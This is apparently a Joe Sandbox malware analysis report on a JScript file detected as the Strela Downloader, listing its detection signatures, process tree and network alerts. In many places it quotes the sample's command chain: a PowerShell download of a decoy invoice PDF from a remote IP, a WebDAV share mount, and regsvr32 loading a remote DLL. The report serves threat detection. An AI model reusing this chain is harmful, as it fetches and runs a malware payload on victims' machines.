Edit tour

Windows Analysis Report
31352150452488124098.js

Overview

General Information

Sample name:	31352150452488124098.js
Analysis ID:	1588245
MD5:	eae211f9e3fed95e523da8b914762923
SHA1:	180fe7d55c0fc4b2807c259e6019d0513bc5db79
SHA256:	ebf2ad6af7e5808ad5ec3b0de37fc91a8da58411b7d18ce5f9870ea1962cf762
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6904 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6300 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6560 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7368 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7604 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7792 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1720,i,5711812054626061158,6965041872936324012,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7404 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7480 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7672 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6904	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6300, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6560, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6300, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6560, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", ProcessId: 6904, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7480, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 6300, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 6300, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 6300, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 6300, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 6300, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 6300, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", ProcessId: 6904, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6300, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6560, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7404, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7480, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7672, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7404, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7480, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\31352150452488124098.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 6300, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:02:06.926369+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:02:04.805848+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 31352150452488124098.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 31352150452488124098.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49701 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:02:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 